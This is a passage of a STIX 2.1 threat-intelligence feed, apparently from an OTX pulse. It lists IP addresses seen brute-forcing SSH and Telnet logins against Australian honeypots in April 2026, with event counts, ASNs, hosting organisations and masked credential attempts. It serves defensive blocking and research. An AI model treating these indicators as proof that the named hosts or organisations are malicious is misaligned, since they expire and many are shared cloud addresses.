      "valid_from": "2026-04-05T14:15:10.000Z",
      "valid_until": "2026-05-07T14:15:08.000Z"
    },
    {
      "created": "2026-04-05T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--05247b58-ff7c-4b6e-b801-e3a5776eb88f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.171.89.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T14:15:10.000Z",
      "valid_until": "2026-05-07T14:15:08.000Z"
    },
    {
      "created": "2026-04-05T15:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): s****r. Passwords observed (masked): S*******!.",
      "id": "indicator--fefc7d44-e824-4a77-aa89-ab860c310059",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.82.92.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T15:15:05.000Z",
      "valid_until": "2026-05-07T15:15:03.000Z"
    },
    {
      "created": "2026-04-05T15:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 24544. Organisation(s): Overcasts Limited. Usernames observed (masked): t**t. Passwords observed (masked): q*******3.",
      "id": "indicator--9137de74-b08c-4b5f-b9fe-dc6aea8846b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.116.78.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T15:15:05.000Z",
      "valid_until": "2026-05-07T15:15:03.000Z"
    },
    {
      "created": "2026-04-05T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--d4e5ee53-5dfb-4d31-b8ba-d9aaff3aa9d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.116.20.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:15:10.000Z",
      "valid_until": "2026-05-07T16:15:08.000Z"
    },
    {
      "created": "2026-04-05T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4, c****e, ***, l******r. Passwords observed (masked): 1****6, 3***********4, 3**********4, C*******!, p******d.",
      "id": "indicator--4556e99e-df0d-4d9e-9738-2c01c944da4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '132.145.213.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:15:10.000Z",
      "valid_until": "2026-05-07T16:15:08.000Z"
    },
    {
      "created": "2026-04-05T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--e955d7e5-dbf8-48c0-84d9-2ee1f2d01477",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.197.74.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:15:10.000Z",
      "valid_until": "2026-05-07T16:15:08.000Z"
    },
    {
      "created": "2026-04-05T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 135089. Organisation(s): China Telecom. Usernames observed (masked): r**t, c****e, **, p****a. Passwords observed (masked): 1****6, A******6, C*****3, a******4, b******6.",
      "id": "indicator--afb8058d-f448-4319-b632-b20b5f1b612e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.22.82.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:15:10.000Z",
      "valid_until": "2026-05-07T16:15:08.000Z"
    },
    {
      "created": "2026-04-05T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, u****u, 3**********4, ***, m**y. Passwords observed (masked): 1*******0, ***, 1*3@qq.com, 3***********4, 3**********4.",
      "id": "indicator--4d7b0ad8-08f6-48b4-a30d-d4a59222e5c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.226.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:15:10.000Z",
      "valid_until": "2026-05-07T16:15:08.000Z"
    },
    {
      "created": "2026-04-05T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t, u**r, ***, 3**********4, b****a. Passwords observed (masked): 3***********4, 3**********4, A*********@, B*****1, R**********@.",
      "id": "indicator--dd4d3cfa-b70c-4250-a842-30a853eb6f88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '173.10.13.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:15:10.000Z",
      "valid_until": "2026-05-07T16:15:08.000Z"
    },
    {
      "created": "2026-04-05T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MU. ASN(s): 23889. Organisation(s): MauritiusTelecom. Usernames observed (masked): r**t, d****y, ***, u****u, 3**********4. Passwords observed (masked): 1**1, 1**********c, 3***********4, 3**********4, A*****6.",
      "id": "indicator--ffaf5a27-43c1-4723-b93b-3019a31193e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.225.146.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:15:10.000Z",
      "valid_until": "2026-05-07T16:15:08.000Z"
    },
    {
      "created": "2026-04-05T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--a8761d3b-b2a1-455f-98d2-54ce6723db4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:15:10.000Z",
      "valid_until": "2026-05-07T16:15:08.000Z"
    },
    {
      "created": "2026-04-05T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t, 3**********4, ***. Passwords observed (masked): 1****3, 1*******!, 3***********4, 3**********4, A****3.",
      "id": "indicator--ddc1f81c-e215-4e2e-b15f-9e919f1260d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.165.29.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:15:10.000Z",
      "valid_until": "2026-05-07T16:15:08.000Z"
    },
    {
      "created": "2026-04-05T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--ff387ebe-6c39-40c9-b1e8-d6cea34f6745",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.180.246.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:15:10.000Z",
      "valid_until": "2026-05-07T16:15:08.000Z"
    },
    {
      "created": "2026-04-05T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--f6efa29e-3fe8-4adc-9732-682c24c0c90f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:15:10.000Z",
      "valid_until": "2026-05-07T16:15:08.000Z"
    },
    {
      "created": "2026-04-05T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--ed9bde3f-7ea4-472a-bd9a-d37093a50285",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.154.50.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:15:10.000Z",
      "valid_until": "2026-05-07T16:15:08.000Z"
    },
    {
      "created": "2026-04-05T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 8452. Organisation(s): TE Data. Usernames observed (masked): r**t, 3**********4, g****b, ***, u****u. Passwords observed (masked): ***, 3***********4, 3**********4, 6****1, A******8.",
      "id": "indicator--7ef9c43f-3d6d-434a-b464-1e121abf2d29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.33.91.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:15:10.000Z",
      "valid_until": "2026-05-07T16:15:08.000Z"
    },
    {
      "created": "2026-04-05T17:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 141679. Organisation(s): China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 5***************O, h******!, r********6.",
      "id": "indicator--0d990b3a-39de-4ead-9a09-8f211f1bb7d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.228.57.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T17:15:15.000Z",
      "valid_until": "2026-05-07T17:15:09.000Z"
    },
    {
      "created": "2026-04-05T17:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--f43bd61b-4efd-4dcb-96a7-ccd545a6a6be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '13.83.90.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T17:15:15.000Z",
      "valid_until": "2026-05-07T17:15:09.000Z"
    },
    {
      "created": "2026-04-05T17:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, d*****r, m****r, ***. Passwords observed (masked): 1****3, 1****6, 1******X, 3***********4, 3**********4.",
      "id": "indicator--b77245de-a12c-4055-aca0-14681e8adb97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.174.5.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T17:15:15.000Z",
      "valid_until": "2026-05-07T17:15:09.000Z"
    },
    {
      "created": "2026-04-05T17:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PS. ASN(s): 51336. Organisation(s): Gemzo information technology Private Joint-Stock company.",
      "id": "indicator--381f8007-72ef-434a-9397-311e1c93f0c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.214.77.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T17:15:15.000Z",
      "valid_until": "2026-05-07T17:15:09.000Z"
    },
    {
      "created": "2026-04-05T17:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 45996. Organisation(s): DAOU TECHNOLOGY.",
      "id": "indicator--922fa44c-0bc4-4981-847c-409448fe1fce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.102.76.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T17:15:15.000Z",
      "valid_until": "2026-05-07T17:15:09.000Z"
    },
    {
      "created": "2026-04-05T17:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: TR. ASN(s): 47585. Organisation(s): Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi.",
      "id": "indicator--aae3e068-e3cd-4198-9332-0ff142c6dae7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.181.87.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T17:15:15.000Z",
      "valid_until": "2026-05-07T17:15:09.000Z"
    },
    {
      "created": "2026-04-05T17:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 813. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, o****e, g****b, e*****c, f***k. Passwords observed (masked): 1****6, a****3, p******d, ***, *.",
      "id": "indicator--ef52b2e8-9c54-4fda-b208-12437b615029",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.196.111.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T17:15:15.000Z",
      "valid_until": "2026-05-07T17:15:09.000Z"
    },
    {
      "created": "2026-04-05T17:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, u****u, c****e, 3**********4, d********n. Passwords observed (masked): 1******@, 1******X, 3***********4, 3**********4, A*******7.",
      "id": "indicator--d59910c2-62a8-4051-a659-8fbddbca0cbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.195.138.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T17:15:15.000Z",
      "valid_until": "2026-05-07T17:15:09.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 331. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KH. ASN(s): 24492. Organisation(s): WiCAM Corporation Ltd.. Usernames observed (masked): r**t, 3**********4, l*****r, u****u, d*******r. Passwords observed (masked): 3***********4, 3**********4, 1********6, 1****6, 1******8.",
      "id": "indicator--e669e754-65bc-4bb6-af6d-b0613bdb3e99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.15.80.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t, u****u, 3**********4, b********e, s***m. Passwords observed (masked): 1******r, 1******R, 3***********4, 3**********4, A*******^.",
      "id": "indicator--c4abb904-98de-4c0b-91f7-fc0411a61d9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.48.102.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 9534. Organisation(s): Binariang Berhad.",
      "id": "indicator--9a7d962e-1d96-4449-bc1e-f9ccc0eef9cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.122.75.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 9891. Organisation(s): CS LOXINFO Public Company Limited..",
      "id": "indicator--b673dd32-019c-497b-babb-d37e40823fea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.50.254.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, u****u, 3**********4, d*******r, f*****r. Passwords observed (masked): 1********6, 1****6, 2******m, 3***********4, 3**********4.",
      "id": "indicator--6132e39c-0288-45d8-9624-507a1ca87d18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.23.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b55f19d7-1993-4f5c-8acd-7eaa9f6e90c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 255. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, u****u, 3**********4, l*****r, d*******r. Passwords observed (masked): 3***********4, 3**********4, 1********6, 1****6, A******8.",
      "id": "indicator--87856b04-6f1e-44b7-9e8f-db869a42235d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.219.22.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL.",
      "id": "indicator--a9b84e3b-4933-4f7c-a06a-fcbc7b76ce95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 114. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, i**n, u****u. Passwords observed (masked): 1******8, 2******m, 3***********4, L*******3, Q*******x.",
      "id": "indicator--02dd5453-e004-4a43-918a-9dc6fae11413",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.149.212.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--7482a3b9-aae9-46da-a607-9ea3f5822e82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
